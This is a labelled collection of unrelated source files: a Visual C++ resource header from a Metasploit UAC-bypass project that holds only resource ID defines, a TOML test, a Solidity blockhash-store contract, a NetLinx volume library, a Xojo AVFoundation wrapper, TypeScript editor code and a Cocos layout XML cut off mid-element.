//{{NO_DEPENDENCIES}} // Microsoft Visual C++ generated include file. // Used by Win7Elevate.rc // #define IDD_EMBEDDED_DLL 110 #define IDD_EMBEDDED_TIOR 111 // Next default values for new objects // #ifdef APSTUDIO_INVOKED #ifndef APSTUDIO_READONLY_SYMBOLS #define _APS_NO_MFC 1 #define _APS_NEXT_RESOURCE_VALUE 139 #define _APS_NEXT_COMMAND_VALUE 32771 #define _APS_NEXT_CONTROL_VALUE 1000 #define _APS_NEXT_SYMED_VALUE 111 #endif #endif

C

OsmanDere/metasploit-framework

external/source/exploits/bypassuac/Win7Elevate/Resource.h

answer = ""

TOML

vanillajonathan/julia

stdlib/TOML/test/testfiles/valid/string-empty.toml

// SPDX-License-Identifier: MIT pragma solidity 0.6.6; /** * @title BlockhashStore * @notice This contract provides a way to access blockhashes older than * the 256 block limit imposed by the BLOCKHASH opcode. * You may assume that any blockhash stored by the contract is correct. * Note that the contract depends on the format of serialized Ethereum * blocks. If a future hardfork of Ethereum changes that format, the * logic in this contract may become incorrect and an updated version * would have to be deployed. */ contract BlockhashStore { mapping(uint => bytes32) internal s_blockhashes; /** * @notice stores blockhash of a given block, assuming it is available through BLOCKHASH * @param n the number of the block whose blockhash should be stored */ function store(uint256 n) public { bytes32 h = blockhash(n); require(h != 0x0, "blockhash(n) failed"); s_blockhashes[n] = h; } /** * @notice stores blockhash of the earliest block still available through BLOCKHASH. */ function storeEarliest() external { store(block.number - 256); } /** * @notice stores blockhash after verifying blockheader of child/subsequent block * @param n the number of the block whose blockhash should be stored * @param header the rlp-encoded blockheader of block n+1. We verify its correctness by checking * that it hashes to a stored blockhash, and then extract parentHash to get the n-th blockhash. */ function storeVerifyHeader(uint256 n, bytes memory header) public { require(keccak256(header) == s_blockhashes[n + 1], "header has unknown blockhash"); // At this point, we know that header is the correct blockheader for block n+1. // The header is an rlp-encoded list. The head item of that list is the 32-byte blockhash of the parent block. // Based on how rlp works, we know that blockheaders always have the following form: // 0xf9____a0PARENTHASH... // ^ ^ ^ // | | | // | | +--- PARENTHASH is 32 bytes. rlpenc(PARENTHASH) is 0xa || PARENTHASH. // | | // | +--- 2 bytes containing the sum of the lengths of the encoded list items // | // +--- 0xf9 because we have a list and (sum of lengths of encoded list items) fits exactly into two bytes. // // As a consequence, the PARENTHASH is always at offset 4 of the rlp-encoded block header. bytes32 parentHash; assembly { parentHash := mload(add(header, 36)) // 36 = 32 byte offset for length prefix of ABI-encoded array // + 4 byte offset of PARENTHASH (see above) } s_blockhashes[n] = parentHash; } /** * @notice gets a blockhash from the store. If no hash is known, this function reverts. * @param n the number of the block whose blockhash should be returned */ function getBlockhash(uint256 n) external view returns (bytes32) { bytes32 h = s_blockhashes[n]; require(h != 0x0, "blockhash not found in store"); return h; } }

Solidity

mhrones/solidity-challenge

node_modules/@chainlink/contracts/src/v0.6/dev/BlockhashStore.sol

(*********************************************************** AMX VOLUME CONTROL LIBRARY v1.0.0 Website: https://github.com/amclain/amx-lib-volume -- THIS IS A THIRD-PARTY LIBRARY AND IS NOT AFFILIATED WITH -- -- THE AMX ORGANIZATION -- This library contains the code to set up and manipulate volume controls from within an AMX Netlinx project by including this file. Source code and documentation can be obtained from the website listed above. CONVENTIONS "VOL_" prefixes all library constants, and "vol" prefixes all library functions (without quotes). "volArray" prefixes any functions that operate on an array of structure "volume". Constants are snake case (underscores separate words) with all uppercase letters. Function names are camel case with the first letter being lowercase. Volume levels have a native resolution of 16 bits (integer). The "...AsByte" functions can be applied to convert these levels to 8 bit (char) values. ************************************************************* Copyright 2011, 2012, 2014 Alex McLain Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ************************************************************) #if_not_defined AMX_LIB_VOLUME #define AMX_LIB_VOLUME 1 (***********************************************************) (***********************************************************) (* System Type : NetLinx *) (***********************************************************) (* REV HISTORY: *) (***********************************************************) (* History: See changelog.txt or version control repository. *) (***********************************************************) (* DEVICE NUMBER DEFINITIONS GO BELOW *) (***********************************************************) DEFINE_DEVICE (***********************************************************) (* CONSTANT DEFINITIONS GO BELOW *) (***********************************************************) DEFINE_CONSTANT // Volume control mute states. VOL_UNMUTED = 0; VOL_MUTED = 1; // Volume control dim states. VOL_DIM_OFF = 0; VOL_DIM_ON = 1; // Function return messages. VOL_SUCCESS = 0; // Operation succeded. VOL_FAILED = -1; // Generic operation failure. VOL_LIMITED = -2; // Input value was limited and may not have reached its specified value. VOL_PARAM_NOT_SET = -3; // Parameter was not set. VOL_OUT_OF_BOUNDS = -4; // Index boundry exceeded. (***********************************************************) (* DATA TYPE DEFINITIONS GO BELOW *) (***********************************************************) DEFINE_TYPE // Volume control. struct volume { integer lvl; // Volume level. integer mute; // Mute status (VOL_MUTED | VOL_UNMUTED). integer max; // Max volume level limit. Assumed full-on ($FFFF) if not set. integer min; // Min volume level limit. Assumed full-off ($0000) if not set. integer step; // Amount to raise/lower the volume level when incremented or decremented. char dim; // Level dim status (VOL_DIM_ON | VOL_DIM_OFF). integer dimAmount; // Amount to reduce the level when dim is on. } (***********************************************************) (* VARIABLE DEFINITIONS GO BELOW *) (***********************************************************) DEFINE_VARIABLE (***********************************************************) (* SUBROUTINE/FUNCTION DEFINITIONS GO BELOW *) (***********************************************************) /* * Initialize volume control. * * Parameters min, max, and numSteps can be set to 0 if not needed. */ define_function volInit(volume v, integer lvl, char muteState, integer min, integer max, integer numSteps) { v.lvl = 0; v.mute = muteState; v.dim = VOL_DIM_OFF; v.dimAmount = 0; // Max limit takes priority. v.max = max; if (min <= v.max) { v.min = min; } else { v.min = v.max; } if (numSteps > 0) { volSetNumberOfSteps(v, numSteps); } else { v.step = 1; } volSetLevel(v, lvl); // Will limit the volume to min/max range. } /* * Get pre-mute volume level. * Returns current volume level. * * This function ignores mute status but respects min/max limits * and dim state. */ define_function integer volGetLevel(volume v) { integer lvl; integer lvlDim; // Do min/max adjustments. if (v.max > 0 && v.lvl > v.max) { lvl = v.max; } else if (v.min > 0 && v.lvl < v.min) { lvl = v.min; } else { lvl = v.lvl; } // Do dim adjustments. if (v.dim == VOL_DIM_ON) { lvlDim = lvl - v.dimAmount; // Check for integer rollover. if (lvlDim > lvl) { lvl = 0; } else { lvl = lvlDim; } } return lvl; } /* * Get post-mute volume level. * Returns current volume level. * * This function takes into account mute status, min/max limits, * and dim state. */ define_function integer volGetLevelPostMute(volume v) { if (v.mute == VOL_MUTED) { return 0; } else { return volGetLevel(v); } } /* * Get pre-mute volume level. * Returns current volume level. * * This function ignores mute status but respects min/max limits. * Return value is scaled from an integer to a byte. */ define_function char volGetLevelAsByte(volume v) { integer x; x = volGetLevel(v); return type_cast (x / 256); } /* * Get post-mute volume level. * Returns current volume level. * * This function takes into account mute status and min/max limits. * Return value is scaled from an integer to a byte. */ define_function sinteger volGetLevelPostMuteAsByte(volume v) { integer x; x = volGetLevelPostMute(v); return type_cast (x / 256); } /* * Get a volume level that fits on a touch panel's bargraph. * Returns current volume level scaled to a range of 0-255 * taking into account min/max. */ define_function char volGetTouchPanelLevel(volume v) { long range long scaled; // If the max limit is not set, it is not being used and max is all bits on. if (v.max == 0) { range = $FFFF - v.min; } else { range = v.max - v.min; } scaled = (v.lvl - v.min) * 255 / range; return type_cast(scaled); } /* * Set volume level. * Returns status: * (VOL_SUCCESS | VOL_LIMITED) * * This function takes into account min/max limits. * This function does not affect mute status. */ define_function sinteger volSetLevel(volume v, integer value) { if (v.max > 0 && value > v.max) { v.lvl = v.max; return VOL_LIMITED; } else if (v.min > 0 && value < v.min) { v.lvl = v.min; return VOL_LIMITED; } else { v.lvl = value; return VOL_SUCCESS; } } /* * Set volume level. * Returns status: * (VOL_SUCCESS | VOL_LIMITED) * * This function takes into account min/max limits. * This function does not affect mute status. * Input value is scaled from a byte to an integer. */ define_function sinteger volSetLevelAsByte(volume v, char value) { integer x; x = type_cast (value * 256); return volSetLevel(v, x); } /* * Set max limit. * Input: value > 0 to enable, value = 0 to disable. * Returns VOL_SUCCESS | VOL_LIMITED. */ define_function sinteger volSetMax(volume v, integer value) { sinteger result; result = VOL_SUCCESS; v.max = value; if (v.min > v.max) { v.min = v.max; result = VOL_LIMITED; } volSetLevel(v, v.lvl); // Set volume level to itself to check min/max boundries. return result; } /* * Set max limit. * Input: value > 0 to enable, value = 0 to disable. * Returns VOL_SUCCESS | VOL_LIMITED. * * Input value is scaled from a byte to an integer. */ define_function sinteger volSetMaxAsByte(volume v, char value) { return volSetMax(v, type_cast(value * 256)); } /* * Set minimum limit. * Input: value > 0 to enable, value = 0 to disable. * Returns VOL_SUCCESS | VOL_LIMITED. */ define_function sinteger volSetMin(volume v, integer value) { sinteger result; result = VOL_SUCCESS; v.min = value; if (v.max < v.min) { v.max = v.min; result = VOL_LIMITED; } volSetLevel(v, v.lvl); // Set volume level to itself to check min/max boundries. return result; } /* * Set minimum limit. * Input: value > 0 to enable, value = 0 to disable. * Returns VOL_SUCCESS | VOL_LIMITED. * * Input value is scaled from a byte to an integer. */ define_function sinteger volSetMinAsByte(volume v, char value) { return volSetMin(v, type_cast(value * 256)); } /* * Mute the channel. */ define_function volMute(volume v) { v.mute = VOL_MUTED; } /* * Unmute the channel. */ define_function volUnmute(volume v) { v.mute = VOL_UNMUTED; } /* * Toggle the channel's mute state. * * Returns the resulting mute state after toggle: * (VOL_MUTED | VOL_UNMUTED) */ define_function integer volToggleMute(volume v) { if (v.mute == false) { v.mute = VOL_MUTED; } else { v.mute = VOL_UNMUTED; } return volGetMuteState(v); } /* * Get the control's mute state. * Returns sinteger: * (VOL_MUTED | VOL_UNMUTED) */ define_function integer volGetMuteState(volume v) { return v.mute; } /* * Set the amount that the level increases/decreases when incremented. */ define_function volSetStep(volume v, integer value) { v.step = value; } /* * Set the amount that the level increases/decreases when incremented. * * Input value is scaled from a byte to an integer. */ define_function volSetStepAsByte(volume v, char value) { integer x; x = type_cast (value * 256); v.step = x; } /* * Set the number of steps the control can be incremented/decremented. * * This is an alternative to defining the value of the step. */ define_function sinteger volSetNumberOfSteps(volume v, integer steps) { if (steps == 0) return VOL_FAILED; v.step = (v.max - v.min) / steps; return VOL_SUCCESS; } /* * Increase the volume by incrementing the level by one step. * Is not affected by mute state. * Returns status: * (VOL_SUCCESS | VOL_LIMITED | VOL_PARAM_NOT_SET) */ define_function sinteger volIncrement(volume v) { integer l; if (v.step <= 0) return VOL_PARAM_NOT_SET; l = v.lvl + v.step; // Compensate for integer boundry wrap. if (l < v.lvl) l = $FFFF; return volSetLevel(v, l); } /* * Decrease the volume by decrementing the level by one step. * Is not affected by mute state. * Returns status: * (VOL_SUCCESS | VOL_LIMITED | VOL_PARAM_NOT_SET) */ define_function sinteger volDecrement(volume v) { integer l; if (v.step <= 0) return VOL_PARAM_NOT_SET; l = v.lvl - v.step; // Compensate for integer boundry wrap. if (l > v.lvl) l = $0000; return volSetLevel(v, l); } /* * Dim the volume level. */ define_function volDim(volume v) { v.dim = VOL_DIM_ON; } /* * Undim the volume level, returning it to its "normal" level. */ define_function volUndim(volume v) { v.dim = VOL_DIM_OFF; } /* * Get volume dim state. * Returns status: * (VOL_DIM_ON | VOL_DIM_OFF) */ define_function sinteger volGetDimState(volume v) { return v.dim; } /* * Get the amount that the level is dimmed when dim is on. */ define_function integer volGetDimAmount(volume v) { return v.dimAmount; } /* * Get the amount that the level is dimmed when dim is on. * * Returns a byte scaled from an integer. */ define_function char volGetDimAmountAsByte(volume v) { return type_cast(v.dimAmount / 256); } /* * Set the amount that the level dims. */ define_function sinteger volSetDimAmount(volume v, integer amount) { v.dimAmount = amount; return VOL_SUCCESS; } /* * Set the amount that the level dims. * * Input is scaled from a byte to an integer. */ define_function sinteger volSetDimAmountAsByte(volume v, char amount) { v.dimAmount = amount * 256; return VOL_SUCCESS; } (***********************************************************) (* ARRAY FUNCTIONS *) (***********************************************************) /* * Initialize an array of volume controls. * * Parameters min, max, and numSteps can be set to 0 if not needed. */ define_function volArrayInit(volume v[], integer lvl, char muteState, integer min, integer max, integer numSteps) { integer i; for(i = 1; i <= max_length_array(v); i++) { volInit(v[i], lvl, muteState, min, max, numSteps); } } /* * Get the volume level for a control in an array at the given index. * Returns current volume level. * * This function takes into account mute status and min/max limits. */ define_function integer volArrayGetLevel(volume v[], integer index) { if (index > max_length_array(v)) return 0; return volGetLevel(v[index]); } /* * Get the volume level for a control in an array at the given index. * Returns current volume level. * * This function takes into account mute status and min/max limits. * Return value is scaled from an integer to a byte. */ define_function char volArrayGetLevelAsByte(volume v[], integer index) { if (index > max_length_array(v)) return 0; return volGetLevelAsByte(v[index]); } /* * Set the volume level for all controls in an array. */ define_function sinteger volArraySetLevel(volume v[], integer value) { integer i; sinteger result; sinteger instanceResult; result = VOL_SUCCESS; for(i = 1; i <= max_length_array(v); i++) { instanceResult = volSetLevel(v[i], value); if (instanceResult != VOL_SUCCESS) result = instanceResult; } return instanceResult; } /* * Set the volume level for all controls in an array. */ define_function sinteger volArraySetLevelAsByte(volume v[], char value) { integer i; sinteger result; sinteger instanceResult; result = VOL_SUCCESS; for(i = 1; i <= max_length_array(v); i++) { instanceResult = volSetLevelAsByte(v[i], value); if (instanceResult != VOL_SUCCESS) result = instanceResult; } return result; } /* * Set the max volume limit for all controls in an array. * * Returns VOL_LIMITED if any instance in the array is limited. * Otherwise returns VOL_SUCCESS. */ define_function sinteger volArraySetMax(volume v[], integer value) { integer i; sinteger result; sinteger instanceResult; result = VOL_SUCCESS; for(i = 1; i <= max_length_array(v); i++) { instanceResult = volSetMax(v[i], value); if (instanceResult == VOL_LIMITED) result = VOL_LIMITED; } return result; } /* * Set the max volume limit for all controls in an array. * * Returns VOL_LIMITED if any instance in the array is limited. * Otherwise returns VOL_SUCCESS. */ define_function sinteger volArraySetMaxAsByte(volume v[], char value) { integer i; sinteger result; sinteger instanceResult; result = VOL_SUCCESS; for(i = 1; i <= max_length_array(v); i++) { instanceResult = volSetMaxAsByte(v[i], value); if (instanceResult == VOL_LIMITED) result = VOL_LIMITED; } return result; } /* * Set the min volume limit for all controls in an array. * * Returns VOL_LIMITED if any instance in the array is limited. * Otherwise returns VOL_SUCCESS. */ define_function sinteger volArraySetMin(volume v[], integer value) { integer i; sinteger result; sinteger instanceResult; result = VOL_SUCCESS; for(i = 1; i <= max_length_array(v); i++) { instanceResult = volSetMin(v[i], value); if (instanceResult == VOL_LIMITED) result = VOL_LIMITED; } return result; } /* * Set the min volume limit for all controls in an array. * * Returns VOL_LIMITED if any instance in the array is limited. * Otherwise returns VOL_SUCCESS. */ define_function sinteger volArraySetMinAsByte(volume v[], char value) { integer i; sinteger result; sinteger instanceResult; result = VOL_SUCCESS; for(i = 1; i <= max_length_array(v); i++) { instanceResult = volSetMinAsByte(v[i], value); if (instanceResult == VOL_LIMITED) result = VOL_LIMITED; } return result; } /* * Set the volume step amount for all controls in an array. */ define_function volArraySetStep(volume v[], integer value) { integer i; for(i = 1; i <= max_length_array(v); i++) { volSetStep(v[i], value); } } /* * Set the volume step amount for all controls in an array. */ define_function volArraySetStepAsByte(volume v[], char value) { integer i; for(i = 1; i <= max_length_array(v); i++) { volSetStepAsByte(v[i], value); } } /* * Set the number of steps all controls in the array can be * incremented or decremented. */ define_function sinteger volArraySetNumberOfSteps(volume v[], integer steps) { integer i; sinteger result; sinteger instanceResult; result = VOL_SUCCESS; for(i = 1; i <= max_length_array(v); i++) { instanceResult = volSetNumberOfSteps(v[i], steps); if (instanceResult != VOL_SUCCESS) result = instanceResult; } return result; } /* * Mute all of the controls in the array. */ define_function volArrayMute(volume v[]) { integer i; for(i = 1; i <= max_length_array(v); i++) { volMute(v[i]); } } /* * Unmute all of the controls in the array. */ define_function volArrayUnmute(volume v[]) { integer i; for(i = 1; i <= max_length_array(v); i++) { volUnmute(v[i]); } } /* * Increase the volume of all controls in the array * by one step. */ define_function sinteger volArrayIncrement(volume v[]) { integer i; sinteger result; sinteger instanceResult; result = VOL_SUCCESS; for(i = 1; i <= max_length_array(v); i++) { instanceResult = volIncrement(v[i]); if (instanceResult != VOL_SUCCESS) result = instanceResult; } return result; } /* * Decrease the volume of all controls in the array * by one step. */ define_function sinteger volArrayDecrement(volume v[]) { integer i; sinteger result; sinteger instanceResult; result = VOL_SUCCESS; for(i = 1; i <= max_length_array(v); i++) { instanceResult = volDecrement(v[i]); if (instanceResult != VOL_SUCCESS) result = instanceResult; } return result; } /* * Dim the volume level of all controls in the array. */ define_function volArrayDim(volume v[]) { integer i; for(i = 1; i <= max_length_array(v); i++) { volDim(v[i]); } } /* * Undim the volume level of all controls in the array, * returning them to their "normal" level. */ define_function volArrayUndim(volume v[]) { integer i; for(i = 1; i <= max_length_array(v); i++) { volUndim(v[i]); } } /* * Set the amount that the level dims for an array. */ define_function volArraySetDimAmount(volume v[], integer amount) { integer i; for(i = 1; i <= max_length_array(v); i++) { volSetDimAmount(v[i], amount); } } /* * Set the amount that the level dims for an array. * * Input is scaled from a byte to an integer. */ define_function volArraySetDimAmountAsByte(volume v[], char amount) { integer i; for(i = 1; i <= max_length_array(v); i++) { volSetDimAmountAsByte(v[i], amount); } } (***********************************************************) (* STARTUP CODE GOES BELOW *) (***********************************************************) DEFINE_START (***********************************************************) (* THE EVENTS GO BELOW *) (***********************************************************) DEFINE_EVENT (***********************************************************) (* THE MAINLINE GOES BELOW *) (***********************************************************) DEFINE_PROGRAM (***********************************************************) (* END OF PROGRAM *) (* DO NOT PUT ANY CODE BELOW THIS COMMENT *) (***********************************************************) #end_if

NetLinx

RBSystems/amx-lib-volume

amx-lib-volume.axi

#tag Class Private Class AVCaptureMovieFileOutput Inherits AVFoundation.AVCaptureFileOutput #tag Method, Flags = &h21 Private Shared Function ClassRef() As Ptr static ref as ptr = NSClassFromString("AVCaptureMovieFileOutput") return ref End Function #tag EndMethod #tag ComputedProperty, Flags = &h0 #tag Getter Get declare function metadata_ lib AVFoundationLib selector "metadata" (obj_id as ptr) as ptr Return new NSArray(metadata_(self)) End Get #tag EndGetter #tag Setter Set declare sub metadata_ lib AVFoundationLib selector "setMetadata:" (obj_id as ptr, metadata as ptr) metadata_(self, value) End Set #tag EndSetter metadata As NSArray #tag EndComputedProperty #tag ComputedProperty, Flags = &h0 #tag Getter Get declare function movieFragmentInterval_ lib AVFoundationLib selector "movieFragmentInterval" (obj_id as ptr) as CMTime Return (movieFragmentInterval_(self)) End Get #tag EndGetter #tag Setter Set declare sub movieFragmentInterval_ lib AVFoundationLib selector "setMovieFragmentInterval:" (obj_id as ptr, movieFragmentInterval as CMTime) movieFragmentInterval_(self, value) End Set #tag EndSetter movieFragmentInterval As CMTime #tag EndComputedProperty #tag ViewBehavior #tag ViewProperty Name="recording" Visible=false Group="Behavior" InitialValue="" Type="Boolean" EditorType="" #tag EndViewProperty #tag ViewProperty Name="maxRecordedFileSize" Visible=false Group="Behavior" InitialValue="" Type="Int64" EditorType="" #tag EndViewProperty #tag ViewProperty Name="minFreeDiskSpaceLimit" Visible=false Group="Behavior" InitialValue="" Type="Int64" EditorType="" #tag EndViewProperty #tag ViewProperty Name="recordedFileSize" Visible=false Group="Behavior" InitialValue="" Type="Int64" EditorType="" #tag EndViewProperty #tag ViewProperty Name="Index" Visible=true Group="ID" InitialValue="-2147483648" Type="Integer" EditorType="" #tag EndViewProperty #tag ViewProperty Name="Left" Visible=true Group="Position" InitialValue="0" Type="Integer" EditorType="" #tag EndViewProperty #tag ViewProperty Name="Name" Visible=true Group="ID" InitialValue="" Type="String" EditorType="" #tag EndViewProperty #tag ViewProperty Name="Super" Visible=true Group="ID" InitialValue="" Type="String" EditorType="" #tag EndViewProperty #tag ViewProperty Name="Top" Visible=true Group="Position" InitialValue="0" Type="Integer" EditorType="" #tag EndViewProperty #tag EndViewBehavior End Class #tag EndClass

Xojo

kingj5/iOSKit

Modules/AVFoundation/AVCaptureMovieFileOutput.xojo_code

Array = function (n:number, s:string) {return n;};

TypeScript

nilamjadhav/TypeScript

tests/cases/compiler/redefineArray.ts

/*--------------------------------------------------------------------------------------------- * Copyright (c) Microsoft Corporation. All rights reserved. * Licensed under the MIT License. See License.txt in the project root for license information. *--------------------------------------------------------------------------------------------*/ import { CharCode } from 'vs/base/common/charCode'; import { CursorColumns } from 'vs/editor/common/controller/cursorCommon'; export const enum Direction { Left, Right, Nearest, } export class AtomicTabMoveOperations { /** * Get the visible column at the position. If we get to a non-whitespace character first * or past the end of string then return -1. * * **Note** `position` and the return value are 0-based. */ public static whitespaceVisibleColumn(lineContent: string, position: number, tabSize: number): [number, number, number] { const lineLength = lineContent.length; let visibleColumn = 0; let prevTabStopPosition = -1; let prevTabStopVisibleColumn = -1; for (let i = 0; i < lineLength; i++) { if (i === position) { return [prevTabStopPosition, prevTabStopVisibleColumn, visibleColumn]; } if (visibleColumn % tabSize === 0) { prevTabStopPosition = i; prevTabStopVisibleColumn = visibleColumn; } const chCode = lineContent.charCodeAt(i); switch (chCode) { case CharCode.Space: visibleColumn += 1; break; case CharCode.Tab: // Skip to the next multiple of tabSize. visibleColumn = CursorColumns.nextRenderTabStop(visibleColumn, tabSize); break; default: return [-1, -1, -1]; } } if (position === lineLength) { return [prevTabStopPosition, prevTabStopVisibleColumn, visibleColumn]; } return [-1, -1, -1]; } /** * Return the position that should result from a move left, right or to the * nearest tab, if atomic tabs are enabled. Left and right are used for the * arrow key movements, nearest is used for mouse selection. It returns * -1 if atomic tabs are not relevant and you should fall back to normal * behaviour. * * **Note**: `position` and the return value are 0-based. */ public static atomicPosition(lineContent: string, position: number, tabSize: number, direction: Direction): number { const lineLength = lineContent.length; // Get the 0-based visible column corresponding to the position, or return // -1 if it is not in the initial whitespace. const [prevTabStopPosition, prevTabStopVisibleColumn, visibleColumn] = AtomicTabMoveOperations.whitespaceVisibleColumn(lineContent, position, tabSize); if (visibleColumn === -1) { return -1; } // Is the output left or right of the current position. The case for nearest // where it is the same as the current position is handled in the switch. let left: boolean; switch (direction) { case Direction.Left: left = true; break; case Direction.Right: left = false; break; case Direction.Nearest: // The code below assumes the output position is either left or right // of the input position. If it is the same, return immediately. if (visibleColumn % tabSize === 0) { return position; } // Go to the nearest indentation. left = visibleColumn % tabSize <= (tabSize / 2); break; } // If going left, we can just use the info about the last tab stop position and // last tab stop visible column that we computed in the first walk over the whitespace. if (left) { if (prevTabStopPosition === -1) { return -1; } // If the direction is left, we need to keep scanning right to ensure // that targetVisibleColumn + tabSize is before non-whitespace. // This is so that when we press left at the end of a partial // indentation it only goes one character. For example ' foo' with // tabSize 4, should jump from position 6 to position 5, not 4. let currentVisibleColumn = prevTabStopVisibleColumn; for (let i = prevTabStopPosition; i < lineLength; ++i) { if (currentVisibleColumn === prevTabStopVisibleColumn + tabSize) { // It is a full indentation. return prevTabStopPosition; } const chCode = lineContent.charCodeAt(i); switch (chCode) { case CharCode.Space: currentVisibleColumn += 1; break; case CharCode.Tab: currentVisibleColumn = CursorColumns.nextRenderTabStop(currentVisibleColumn, tabSize); break; default: return -1; } } if (currentVisibleColumn === prevTabStopVisibleColumn + tabSize) { return prevTabStopPosition; } // It must have been a partial indentation. return -1; } // We are going right. const targetVisibleColumn = CursorColumns.nextRenderTabStop(visibleColumn, tabSize); // We can just continue from where whitespaceVisibleColumn got to. let currentVisibleColumn = visibleColumn; for (let i = position; i < lineLength; i++) { if (currentVisibleColumn === targetVisibleColumn) { return i; } const chCode = lineContent.charCodeAt(i); switch (chCode) { case CharCode.Space: currentVisibleColumn += 1; break; case CharCode.Tab: currentVisibleColumn = CursorColumns.nextRenderTabStop(currentVisibleColumn, tabSize); break; default: return -1; } } // This condition handles when the target column is at the end of the line. if (currentVisibleColumn === targetVisibleColumn) { return lineLength; } return -1; } }

TypeScript

kklt2002/vscode

src/vs/editor/common/controller/cursorAtomicMoveOperations.ts

<GameFile> <PropertyGroup Name="LogoLayer" Type="Layer" ID="1d8c7d35-cb9f-4d43-a9f6-685fefd7dea5" Version="3.10.0.0" /> <Content ctype="GameProjectContent"> <Content> <Animation Duration="0" Speed="1.0000" /> <ObjectData Name="Layer" Tag="4" ctype="GameLayerObjectData"> <Size X="640.0000" Y="1136.0000" /> <Children> <AbstractNodeData Name="FileNode_1" ActionTag="-1480545406" Tag="11" IconVisible="True" LeftMargin="486.4680" RightMargin="13.5320" TopMargin="779.0985" BottomMargin="168.9015" StretchWidthEnable="False" StretchHeightEnable="False" InnerActionSpeed="1.0000" CustomSizeEnabled="False" ctype="ProjectNodeObjectData"> <Size X="140.0000" Y="188.0000" /> <AnchorPoint /> <Position X="486.4680" Y="168.9015" /> <Scale ScaleX="1.0000" ScaleY="1.0000" /> <CColor A="255" R="255" G="255" B="255" /> <PrePosition X="0.7601" Y="0.1487" /> <PreSize X="0.2188" Y="0.1655" /> <FileData Type="Normal" Path="PokerLayer.csd" Plist="" /> </AbstractNodeData> <AbstractNodeData Name="FileNode_1_0" ActionTag="-639146605" Tag="20" IconVisible="True" LeftMargin="183.8907" RightMargin="316.1093" TopMargin="606.0834" BottomMargin="341.9166" StretchWidthEnable="False" StretchHeightEnable="False" InnerActionSpeed="1.0000" CustomSizeEnabled="False" ctype="ProjectNodeObjectData"> <Size X="140.0000" Y="188.0000" /> <AnchorPoint /> <Position X="183.8907" Y="341.9166" /> <Scale ScaleX="1.0000" ScaleY="1.0000" /> <CColor A="255" R="255" G="255" B="255" /> <PrePosition X="0.2873" Y="0.3010" /> <PreSize X="0.2188" Y="0.1655" /> <FileData Type="Normal" Path="PokerLayer.csd" Plist="" /> </AbstractNodeData> <AbstractNodeData Name="FileNode_1_1" ActionTag="-1743182686" Tag="29" IconVisible="True" LeftMargin="873.6502" RightMargin="-373.6502" TopMargin="642.5746" BottomMargin="305.4254" StretchWidthEnable="False" StretchHeightEnable="False" InnerActionSpeed="1.0000" CustomSizeEnabled="False" ctype="ProjectNodeObjectData"> <Size X="140.0000" Y="188.0000" /> <AnchorPoint /> <Position X="873.6502" Y="305.4254" /> <Scale ScaleX="1.0000" ScaleY="1.0000" /> <CColor A="255" R="255" G="255" B="255" /> <PrePosition X="1.3651" Y="0.2689" /> <PreSize X="0.2188" Y="0.1655" /> <FileData Type="Normal" Path="PokerLayer.csd" Plist="" /> </AbstractNodeData> <AbstractNodeData Name="FileNode_1_2" ActionTag="925365043" Tag="38" IconVisible="True" LeftMargin="929.5722" RightMargin="-429.5723" TopMargin="644.5034" BottomMargin="303.4966" StretchWidthEnable="False" StretchHeightEnable="False" InnerActionSpeed="1.0000" CustomSizeEnabled="False" ctype="ProjectNodeObjectData"> <Size X="140.0000" Y="188.0000" /> <AnchorPoint /> <Position X="929.5722" Y="303.4966" /> <Scale ScaleX="1.0000" ScaleY="1.0000" /> <CColor A="255" R="255" G="255" B="255" /> <PrePosition X="1.4525" Y="0.2672" /> <PreSize X="0.2188" Y="0.1655" /> <FileData Type="Normal" Path="PokerLayer.csd" Plist="" /> </AbstractNodeData> <AbstractNodeData Name="FileNode_1_3" ActionTag="369095310" Tag="47" IconVisible="True" LeftMargin="987.4225" RightMargin="-487.4226" TopMargin="650.2875" BottomMargin="297.7125" StretchWidthEnable="False" StretchHeightEnable="False" InnerActionSpeed="1.0000" CustomSizeEnabled="False" ctype="ProjectNodeObjectData"> <Size X="140.0000" Y="188.0000" /> <AnchorPoint /> <Position X="987.4225" Y="297.7125" /> <Scale ScaleX="1.0000" ScaleY="1.0000" /> <CColor A="255" R="255" G="255" B="255" /> <PrePosition X="1.5428" Y="0.2621" /> <PreSize X="0.2188" Y="0.1655" /> <FileData Type="Normal" Path="PokerLayer.csd" Plist="" /> </AbstractNodeData> <AbstractNodeData Name="FileNode_1_4" ActionTag="731520486" Tag="56" IconVisible="True" LeftMargin="1052.9868" RightMargin="-552.9868" TopMargin="652.2160" BottomMargin="295.7840" StretchWidthEnable="False" StretchHeightEnable="False" InnerActionSpeed="1.0000" CustomSizeEnabled="False" ctype="ProjectNodeObjectData"> <Size X="140.0000" Y="188.0000" /> <AnchorPoint /> <Position X="1052.9868" Y="295.7840" /> <Scale ScaleX="1.0000" ScaleY="1.0000" /> <CColor A="255" R="255" G="255" B="255" /> <PrePosition X="1.6453" Y="0.2604" /> <PreSize X="0.2188" Y="0.1655" /> <FileData Type="Normal" Path="PokerLayer.csd" Plist="" /> </AbstractNodeData> <AbstractNodeData Name="FileNode_1_5" ActionTag="-827461253" Tag="65" IconVisible="True" LeftMargin="1108.9072" RightMargin="-608.9072" TopMargin="650.2875" BottomMargin="297.7125" StretchWidthEnable="False" StretchHeightEnable="False" InnerActionSpeed="1.0000" CustomSizeEnabled="False" ctype="ProjectNodeObjectData"> <Size X="140.0000" Y="188.0000" /> <AnchorPoint /> <Position X="1108.9072" Y="297.7125" /> <Scale ScaleX="1.0000" ScaleY="1.0000" /> <CColor A="255" R="255" G="255" B="255" /> <PrePosition X="1.7327" Y="0.2621" /> <PreSize X="0.2188" Y="0.1655" /> <FileData Type="Normal" Path="PokerLayer.csd" Plist="" /> </AbstractNodeData> <AbstractNodeData Name="FileNode_1_6" ActionTag="911675321" Tag="74" IconVisible="True" LeftMargin="1186.0422" RightMargin="-686.0422" TopMargin="648.3588" BottomMargin="299.6412" StretchWidthEnable="False" StretchHeightEnable="False" InnerActionSpeed="1.0000" CustomSizeEnabled="False" ctype="ProjectNodeObjectData"> <Size X="140.0000" Y="188.0000" /> <AnchorPoint /> <Position X="1186.0422" Y="299.6412" /> <Scale ScaleX="1.0000" ScaleY="1.0000" /> <CColor A="255" R="255" G="255" B="255" /> <PrePosition 